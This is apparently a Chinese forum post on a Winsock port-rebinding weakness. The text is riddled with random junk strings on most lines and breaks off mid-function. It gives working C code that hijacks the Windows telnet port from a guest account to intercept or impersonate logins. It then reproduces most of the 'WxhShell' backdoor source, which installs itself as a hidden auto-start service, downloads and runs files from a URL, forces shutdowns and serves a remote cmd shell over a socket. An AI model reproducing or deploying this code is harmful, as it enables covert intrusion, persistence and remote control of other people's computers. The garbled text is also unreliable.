在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A#&qoZ(C s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
79H+~1Az (14kR saddr.sin_family = AF_INET;
B}+9U uFZB8+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nD\os[ 3 [dlH
t;S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J|S^K kC mcr#Ze
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3ohcHQ/a ( y*X8 这意味着什么?意味着可以进行如下的攻击:
E2'e}RQ ZGhoV#T@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%+a@|Z WG} CPkj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K- C-+RB [[h)4H{T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9X9zIh]JV a] =\h'S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L]N2rMM jSp&mD*xv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+|)1_NK PRC)GP&q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/? 1Yf B@inH]wq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wS*CcIwj cu!bg+,zl #include
O'|P| #include
Ks2%F&\cE #include
UMQW#$~C{g #include
3}{5
X' DWORD WINAPI ClientThread(LPVOID lpParam);
5'Jh2r int main()
N('DIi*or {
T,2Dr; WORD wVersionRequested;
2%C5P0;QX DWORD ret;
DN':-PK WSADATA wsaData;
OKP_3Ns BOOL val;
&iy(oM SOCKADDR_IN saddr;
^@L
l(? SOCKADDR_IN scaddr;
1[g!^5W int err;
Fi%W\Y' SOCKET s;
gzCMJ<3!D SOCKET sc;
I S8nvx\ int caddsize;
u;ooDIq@ HANDLE mt;
F%Umau*1 DWORD tid;
=z1o}ga=EA wVersionRequested = MAKEWORD( 2, 2 );
wx%nTf/Oa err = WSAStartup( wVersionRequested, &wsaData );
^@lg5d3F if ( err != 0 ) {
m:fouMS printf("error!WSAStartup failed!\n");
[j]J_S9jJ return -1;
ec4%Wk2 }
S{i@=: saddr.sin_family = AF_INET;
bSR+yr'? J:Y|O-S! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
emY5xZ@N -s%-*K+,W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GL =XiBt saddr.sin_port = htons(23);
s8Ry}{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m2q;^o:J {
o / g+Z printf("error!socket failed!\n");
fMEv85@JL return -1;
aU<D$I }
*8X9lv.Z val = TRUE;
qvU$9cTY //SO_REUSEADDR选项就是可以实现端口重绑定的
G<-9U}~76 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>l< ~Z; {
ElR&scXi__ printf("error!setsockopt failed!\n");
+<WRB\W return -1;
f@Rpb}zg+C }
KR+BuL+L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4B8S e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y:!/4GF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xCp+<|1 PBww if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
pY!dG-; {
N!Wq}#&l ret=GetLastError();
N'
$DE printf("error!bind failed!\n");
Z++Z@J " return -1;
5*wApu{2A }
?WQd listen(s,2);
'Rkvsch while(1)
pG F5aF7T {
CziaxJ caddsize = sizeof(scaddr);
"ex~LB //接受连接请求
:7Z\3_D/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R(?<97 if(sc!=INVALID_SOCKET)
[mf7>M`p]@ {
J={OOj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
H")N_BB if(mt==NULL)
/=YqjZTCq {
yg-FJ/
printf("Thread Creat Failed!\n");
@6YBK+" break;
Pm#x?1rAj }
(o6[4( G }
tk)>CK11 CloseHandle(mt);
|IX` ( }
3aE[F f[ closesocket(s);
^M(`/1 : WSACleanup();
]Z$TzT&@% return 0;
(O_t5<A*X }
2Z;`#{ DWORD WINAPI ClientThread(LPVOID lpParam)
mU3Y) {
XAU_SPAjiw SOCKET ss = (SOCKET)lpParam;
ua$k^m7m5 SOCKET sc;
]o[X+;Tj| unsigned char buf[4096];
3:~l2KIP4 SOCKADDR_IN saddr;
Q3Z%a|3W long num;
~ACP%QM= DWORD val;
SGBVR ^ DWORD ret;
I*:qGr+ WJ //如果是隐藏端口应用的话,可以在此处加一些判断
J|"nwY}a9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x ?f0Hk+ saddr.sin_family = AF_INET;
pqH(
Tbjq saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(o*e<y,}W saddr.sin_port = htons(23);
>FY&-4+v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fzRyG-cEpj {
8yE%X!E printf("error!socket failed!\n");
iFnOl*TC return -1;
dE5 5 }
~~xyFT+{F val = 100;
4C,kA+P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X"TUe>cM {
Sqdc1zC ret = GetLastError();
z{`6# return -1;
zJfK4o }
B-\,2rCC Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LZUA+ x( {
d DIQ+/mmg ret = GetLastError();
^.@yF;H return -1;
|C$:]MZx }
i?a,^UM5n[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(0OSGG9 {
%$ir a\
sM printf("error!socket connect failed!\n");
rq<`(V'2 closesocket(sc);
/63W\ closesocket(ss);
waXDGdl0 return -1;
^sT+5M^ }
?#BZ `H while(1)
W>}Qer4 {
#aitESbT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y$j1?7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
QIij>!c4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<TLGfA1bC num = recv(ss,buf,4096,0);
42Aje if(num>0)
TV1e
bH7q send(sc,buf,num,0);
d s|8lz, else if(num==0)
?jNF6z*M6 break;
qeQC&U
y; num = recv(sc,buf,4096,0);
Kf05<J! if(num>0)
&*(n<5wt send(ss,buf,num,0);
2I]]WBW#: else if(num==0)
UM4@H1 break;
#$rf-E5g-K }
IwTr'}XIw closesocket(ss);
gro7*< closesocket(sc);
rPiiC/T.` return 0 ;
~@[(N]=q }
'?{0z!! ->&BcPLn LKR= =;qn ==========================================================
"xD}6(NL(r F* 3G_V 下边附上一个代码,,WXhSHELL
TnN^2:cU E1c>nrnh* ==========================================================
@9_nwf~X4 q4sl=`L5Sp #include "stdafx.h"
(MgL"8TS ur/Oc24i1n #include <stdio.h>
H o4B #include <string.h>
r +p@X #include <windows.h>
xZ^ywa_ #include <winsock2.h>
51o@b #include <winsvc.h>
\g~ws9'~ #include <urlmon.h>
\yih 1Om>~ U9<_6Bsd #pragma comment (lib, "Ws2_32.lib")
_-@ZOhw& #pragma comment (lib, "urlmon.lib")
n\Z^K q?;N7P #define MAX_USER 100 // 最大客户端连接数
%'{V%IXQ #define BUF_SOCK 200 // sock buffer
-!XrwQyk #define KEY_BUFF 255 // 输入 buffer
:0M'=~[ " 2ZI oa!^ #define REBOOT 0 // 重启
qxf+# #define SHUTDOWN 1 // 关机
Q<RT12|` sTd}cP #define DEF_PORT 5000 // 监听端口
&q4ox7 1 /yx=7< #define REG_LEN 16 // 注册表键长度
=:4' #define SVC_LEN 80 // NT服务名长度
*4|9&PNLE W.yV/fu // 从dll定义API
gXq!a|eH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/lf\
E= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"%:7j!#X|I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g/OI|1a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ISpeV eZynF<i // wxhshell配置信息
!?BW_vY struct WSCFG {
rU;
g0'4e int ws_port; // 监听端口
*mf}bTiS char ws_passstr[REG_LEN]; // 口令
lP}o[Rd int ws_autoins; // 安装标记, 1=yes 0=no
_TZW|Dh-2F char ws_regname[REG_LEN]; // 注册表键名
AiY|O S3R char ws_svcname[REG_LEN]; // 服务名
~J%R-{U9 char ws_svcdisp[SVC_LEN]; // 服务显示名
L&:M8xiA~$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
uAp
-$? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
x
HY+q; int ws_downexe; // 下载执行标记, 1=yes 0=no
M{*kB2jr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6eD(dZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
jz
%;4e~t p9/bzT34. };
nA>*IU[ j'k8^*M6 // default Wxhshell configuration
L5R `w&Up struct WSCFG wscfg={DEF_PORT,
;JAK[o8i "xuhuanlingzhe",
vAi"$e 1,
NV:>a "Wxhshell",
JR/W9i "Wxhshell",
''_,S,.a20 "WxhShell Service",
lxm*;?j`W "Wrsky Windows CmdShell Service",
"=9-i-K9B "Please Input Your Password: ",
nARxn#<+ 1,
`f%&<,i "
http://www.wrsky.com/wxhshell.exe",
Mg#`t$u "Wxhshell.exe"
{V.Wk };
~GSpl24W< /CIx$G // 消息定义模块
IS-}:~Pi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\'[3^/(' char *msg_ws_prompt="\n\r? for help\n\r#>";
s;s0}Td_1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
s jSi;S4 char *msg_ws_ext="\n\rExit.";
]t*33 char *msg_ws_end="\n\rQuit.";
'-`O.
4u char *msg_ws_boot="\n\rReboot...";
|drf"lX<{ char *msg_ws_poff="\n\rShutdown...";
R'Sa?6xS4 char *msg_ws_down="\n\rSave to ";
<sa #|Y$ |B
9t- char *msg_ws_err="\n\rErr!";
y*w"J3|29 char *msg_ws_ok="\n\rOK!";
&xgZFSq T]^?l char ExeFile[MAX_PATH];
5n:nZ_D int nUser = 0;
!zU/Hq{wcK HANDLE handles[MAX_USER];
xf'LR[M int OsIsNt;
`a-Bji? |4=ihB9+ SERVICE_STATUS serviceStatus;
gRHtgR)T3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
n4Vwao/9x ^Fn%K].X // 函数声明
{ AFf:[G int Install(void);
'Cg V0&@ int Uninstall(void);
V>6QPA^ int DownloadFile(char *sURL, SOCKET wsh);
1bd$XnU int Boot(int flag);
[@ILc*2O void HideProc(void);
ebzzzmwo int GetOsVer(void);
wXz\NGW int Wxhshell(SOCKET wsl);
X|,["Az
8 void TalkWithClient(void *cs);
L,#^&9bHa# int CmdShell(SOCKET sock);
en%J!<&W{K int StartFromService(void);
XWJ SLN(O int StartWxhshell(LPSTR lpCmdLine);
x9h?e` ;r3}g"D@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)Q~C4 C-j VOID WINAPI NTServiceHandler( DWORD fdwControl );
~H7!MC~K F9%,MSt // 数据结构和表定义
>$Fp}?xX SERVICE_TABLE_ENTRY DispatchTable[] =
UnP|]]o:I {
00"CC {wscfg.ws_svcname, NTServiceMain},
?5`{7daot {NULL, NULL}
V- /YNRV };
kY=rz&?U _FT6]I0 // 自我安装
f`,-b int Install(void)
5lGQ#r {
axtb<5& char svExeFile[MAX_PATH];
B4IBuS HKEY key;
a%v>eXc strcpy(svExeFile,ExeFile);
#vtN+E X6'H`E[ // 如果是win9x系统,修改注册表设为自启动
jKS!'? if(!OsIsNt) {
alVdQfu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>:A<"wZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t-x[:i RegCloseKey(key);
zOL;"/R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)Z("O[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*<7l!# RegCloseKey(key);
g@Ld"5$^2 return 0;
d @m\f }
bf1)M>g,O }
a#$N% =j }
ZvH?3Jy else {
z"EWj73 0 k9<& // 如果是NT以上系统,安装为系统服务
q~j)W$k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L1:nfH&:' if (schSCManager!=0)
z{=v)F5y {
EZ/^nG SC_HANDLE schService = CreateService
Zb"jB$58 (
0iV;g`% schSCManager,
a_MFQf&KV wscfg.ws_svcname,
1\y@E wscfg.ws_svcdisp,
w763zi{ SERVICE_ALL_ACCESS,
Od-Ax+Hp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g>yry}>04% SERVICE_AUTO_START,
cv]BV>=E SERVICE_ERROR_NORMAL,
Dm^l?Z svExeFile,
#~S>K3( NULL,
Q,~x# NULL,
68p R: NULL,
yyjw?#\8 NULL,
|kseKZ3 NULL
7*/J4M N );
9n"V\e_R if (schService!=0)
x}|+sS,g {
N}DL(-SQ3 CloseServiceHandle(schService);
or!!s
5[d CloseServiceHandle(schSCManager);
!9D1
Fa strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
p31oL{D strcat(svExeFile,wscfg.ws_svcname);
>azEed<B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xG1?F_] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I|T7+{5z RegCloseKey(key);
M$H `^Pv return 0;
AuXs B }
jM @?<1
}
s&VOwU CloseServiceHandle(schSCManager);
`BjR.xMv }
Zw#<E
=\ }
U<rI!!#9 5{X*a return 1;
A?r^V2+j }
'g hys1H ^Q\XGl // 自我卸载
G,|KL" H6 int Uninstall(void)
bcn7,ht {
bb1f/C% HKEY key;
#1gO?N(<= ;{gT=,KQ` if(!OsIsNt) {
3ev -Iqz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+`Pmq}ey RegDeleteValue(key,wscfg.ws_regname);
#kci=2q_ RegCloseKey(key);
Ha218Hy0W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=k_UjwgN^ RegDeleteValue(key,wscfg.ws_regname);
mX;H(( RegCloseKey(key);
Cfv]VQQE return 0;
P#;Th8k{K2 }
1'fb
@vO }
QD4:W"i }
Du!._ else {
yLqF ,pvO ?oKL&I@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
R5kH0{zM if (schSCManager!=0)
RX>2~^ {
vxVOcO9< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
RG1\=J$:E if (schService!=0)
`ET& VV {
E-SG8U; if(DeleteService(schService)!=0) {
,v7Q *3 CloseServiceHandle(schService);
;_N5>3C: CloseServiceHandle(schSCManager);
aq$q
~,E return 0;
9!#EwPD$# }
gr+Pl>C{ CloseServiceHandle(schService);
]r959+\$ }
Dr+ Ps CloseServiceHandle(schSCManager);
nNQ-"t }
ShGp^xVj }
) EXJ ]0-<> return 1;
4Jykos2 }
QN g\4%
KGT3|)QN // 从指定url下载文件
x<F$aXOS int DownloadFile(char *sURL, SOCKET wsh)
T8Na]V5 {
K<RqBecB HRESULT hr;
x0<^<D &Q char seps[]= "/";
K*+6`z#fMF char *token;
+|&0fGv;d9 char *file;
Hi8Y6|y$D char myURL[MAX_PATH];
vyU!+mlc char myFILE[MAX_PATH];
N|Habua<Xw DFy1 bg strcpy(myURL,sURL);
&,MFB token=strtok(myURL,seps);
m\-PU z&C while(token!=NULL)
-_>.f(1 {
moG~S] file=token;
l"\uf(0K token=strtok(NULL,seps);
U=m=1FYaG }
B9#;- QO ~kb{K; GetCurrentDirectory(MAX_PATH,myFILE);
Uk'U?9O strcat(myFILE, "\\");
vpLMhf` strcat(myFILE, file);
1`l;xw1W send(wsh,myFILE,strlen(myFILE),0);
Qxq-Mpx{ send(wsh,"...",3,0);
h<NRE0- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8Z8Y[p if(hr==S_OK)
xS+rHC return 0;
~Z/7pP+ else
wS$46M< return 1;
9rcI+q=E
>>7aw" 0 }
BY(
eV! 9)lZyE} // 系统电源模块
uJ8{HB int Boot(int flag)
-J?~U2 {
iN)af5)[^ HANDLE hToken;
Y/lN@ TOKEN_PRIVILEGES tkp;
9@y3IiZ"} 6+PGwCS if(OsIsNt) {
(h,Ws-O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<L&eh&4c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F,pCR7o> tkp.PrivilegeCount = 1;
;k}H(QI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~L'nzquF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f#OQ (WTJE if(flag==REBOOT) {
/gw Cwyo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
i@,]Z~] return 0;
T4GW1NP }
N`1r;%5 else {
l RND if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P']Y(
!L return 0;
*rf$>8~$n }
aR)?a;}H }
ik\S88| else {
7>,rvW:] if(flag==REBOOT) {
1VLLo~L% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Z %EQt return 0;
&HL{LnLP@/ }
oD0EOT/E else {
H[nz]s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7zGMkl return 0;
&yLc1#H }
o5 WW{)Q }
_9kIRmT{ Tl3"PIb return 1;
ym%o}(v- }
d~`-AC+ :Tb7r6 // win9x进程隐藏模块
aQ|hi F} void HideProc(void)
bU+9Gi@v {
tIGs>, a= M&[b.t* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
N-%#\rPq. if ( hKernel != NULL )
Pux)>q] C {
@T7PZB&xnl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
, N
344y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J"&y|;G FreeLibrary(hKernel);
q"nGy#UWR }
zs8I v<&v]!nF return;
sykFSPy`' }
e/94y6*> [z+x"9l0! // 获取操作系统版本
>EIrw$V$ int GetOsVer(void)
x'i0KF {
#LWg" i OSVERSIONINFO winfo;
a))*F!}c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<25ccE9^c GetVersionEx(&winfo);
&7Kb]Ti if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
g1V)$s7 return 1;
s0!kwrBsp else
voh^|(:(TH return 0;
$1e pf }
^PQM;" os**hFPk;1 // 客户端句柄模块
_FsB6
G]mc int Wxhshell(SOCKET wsl)
EfKntrom[ {
j^I!6j=ZX SOCKET wsh;
}
07r struct sockaddr_in client;
xwOE+ DWORD myID;
0b++17aV 5hz_P+Q while(nUser<MAX_USER)
@p]UvqtB@ {
8\_*1h40s int nSize=sizeof(client);
qTy v.#{y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K PggDKS if(wsh==INVALID_SOCKET) return 1;
JqEb;NiP)5 $5L(gn[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
'tuBuYD\ if(handles[nUser]==0)
la`"$f closesocket(wsh);
26PD[af64O else
x4 hO$3o nUser++;
`]{Psc6_= }
|j#
^@R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ccMd/ :rmauKR return 0;
4(|yD; }
0BDS_Rx w4A#>;Qu* // 关闭 socket
PWG;&ma void CloseIt(SOCKET wsh)
7LdzZS0OM {
}4KW@L[g closesocket(wsh);
zbg+6qs}) nUser--;
Pz1G<eh#{g ExitThread(0);
mu>] 9ZW }
UR,?! rJ^B 0_HJ.g! // 客户端请求句柄
@,Jb7V< void TalkWithClient(void *cs)
vX.]hp5~ {
-XW8 LaQB W5X7FEW SOCKET wsh=(SOCKET)cs;
6sy,A~e char pwd[SVC_LEN];
.hne)K%={y char cmd[KEY_BUFF];
xT=ySa$|> char chr[1];
TrQm]9 @ int i,j;
^'YHJEK r0u J$/! while (nUser < MAX_USER) {
|0]YA 1tyNRoET if(wscfg.ws_passstr) {
$eMK{:$O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@ExLh9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zzE]M}s //ZeroMemory(pwd,KEY_BUFF);
b"3uD` i=0;
k.Gl4
x while(i<SVC_LEN) {
oX{@'B G<fS(q // 设置超时
6VFirLd fd_set FdRead;
UOJ*a1BM struct timeval TimeOut;
kwc*is FD_ZERO(&FdRead);
23k)X"5 FD_SET(wsh,&FdRead);
oN ;-M-( TimeOut.tv_sec=8;
pU@YiwP"]x TimeOut.tv_usec=0;
+Lhe, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cqjl5UB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6kR
-rA Rv,Mu3\~#c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1q`k}KMy pwd
=chr[0]; xyvND
if(chr[0]==0xd || chr[0]==0xa) { j@CKO cn2
pwd=0; G g(NGT
break; yZ|+VXO
} h,~tXj
i++; $$\V2%v
} ;Rs.rl>;t/
z2v<a{e
// 如果是非法用户,关闭 socket Q-3r}jJe
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WV@X@]U
} Qxky^:B
e`;t<7*i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hd8B0eD'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y,V6h*x2
"R8.P/ 3
while(1) {
}Zt.*%
R)Q/Ff@o0
ZeroMemory(cmd,KEY_BUFF); l[Tt[n
fw:7U%MGv
// 自动支持客户端 telnet标准 |SxMN%M!
j=0; %fBP:5%K
while(j<KEY_BUFF) { ]d^k4 d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V&g)m.d:n
cmd[j]=chr[0]; G LoiH#R
if(chr[0]==0xa || chr[0]==0xd) { {wHvE4F2
cmd[j]=0; 2+o! o
break; ^glX1 )
} OgQntj:%lN
j++; 9lKRL'QR
} }|SIHz!R
"% SX@
// 下载文件 w"BIv9N
if(strstr(cmd,"http://")) { t@6w$5:}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *.:! Ax
if(DownloadFile(cmd,wsh)) PP],HB+*[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~_$T@^k>
else pL8H8kn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Po\ En
} "cNg:
else { WejyYqr34-
$,.3&zsy
switch(cmd[0]) { $.``OxJk%
[#IBYJ.6
// 帮助 [;*\P\Xih
case '?': { 40R"^*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VZHr-z$6n
break; 28ja-1dB
} gU~
L@R_D
// 安装 n%n'1AUP:
case 'i': { R9Ldl97'
if(Install()) #t){ 4J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )y(oHRCp->
else &<`-:x1 2_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u2Y N[|V
break; re]%f"v:5
} !;TR2Zcn
// 卸载 4C6=77Jr
case 'r': { tB]`Hj
if(Uninstall()) -!@H["
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *3!(*F@M,
else EN)YoVk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9z+vFk`
break; HJc<Gwm
} y:~eU
// 显示 wxhshell 所在路径 *+NGi(N
case 'p': { " 98/HzR
char svExeFile[MAX_PATH]; VIb;96$Or
strcpy(svExeFile,"\n\r"); JvKO $^
strcat(svExeFile,ExeFile); 6euR'd^Qi
send(wsh,svExeFile,strlen(svExeFile),0); xT:qe
break; _L8Mpx*E
} ]gb _Nv
// 重启 bh{E&1sLh
case 'b': { 3Wjq >\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GVeL~Q
if(Boot(REBOOT)) X";TZk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-'I`I
else { ixIh
T
closesocket(wsh); 0Ulxp
ExitThread(0); `Q:de~+AM{
} =s`XZkh
break; >?^~s(t
} s[Y)d>~\$=
// 关机 d,zp`S
case 'd': { SCgyp(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
s.|!Ti!]
if(Boot(SHUTDOWN)) 3X,]=f@_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j kSc&
else { [Bl
$IfU
closesocket(wsh); 3yeK@>C
ExitThread(0); ?lu_}t]
} >`<Ued
break; 3"^a
rK^N
} OG0r4^6Ly
// 获取shell Mi;}.K0J
case 's': { Gtj(
CmdShell(wsh); 1_N~1Ik
closesocket(wsh); 6"BtfQ")
ExitThread(0); r~8D\_=s
break; pYYqGv^oa
} MDMtOfe|
// 退出 <f7?PAd
case 'x': { <9Lv4`]GU5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bRx2
c
CloseIt(wsh); ?| D$#{^
break; }wvwZ`5t
} hu bfK~
// 离开 9V|E1-")E
case 'q': { 1~["{u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |
\ s2
closesocket(wsh); L~@ma(TV{K
WSACleanup(); clh3
exit(1); SQ1M4:hP
break; M'pb8jf
} 2#>$%[
} FZ[@])B
} X=rc3~}f
'"!z$i~G=
// 提示信息 utYnaeQcn
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1{SrHdD=
} i_j9/k
}
FY1},sq
ioE66-n
return; +)/Rql(lY
} 08TaFzP81
XNc"kp? z
// shell模块句柄 A[sM{i~Z
int CmdShell(SOCKET sock)
`_NnQ%
{ >yV)d/
STARTUPINFO si; T0@](g
ZeroMemory(&si,sizeof(si)); Nrab*K(][
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ET >S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [@,OG-"&
PROCESS_INFORMATION ProcessInfo; />dB%*
char cmdline[]="cmd"; r1[E{Tpz
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RB S[*D
return 0; GM)\)\kNF
} 3::3r}g
DhtU]w}
// 自身启动模式 !Iw{Y'
int StartFromService(void) {]t\`fjrg
{ LK'S)Jk
typedef struct fhBO~o+K>
{ viW~'}^k7
DWORD ExitStatus; mF6@Y[/B
DWORD PebBaseAddress; *G%1_
DWORD AffinityMask; !ol hZ
DWORD BasePriority; e5*5.AB6&
ULONG UniqueProcessId; 9f\aoVX
ULONG InheritedFromUniqueProcessId; bE7(L
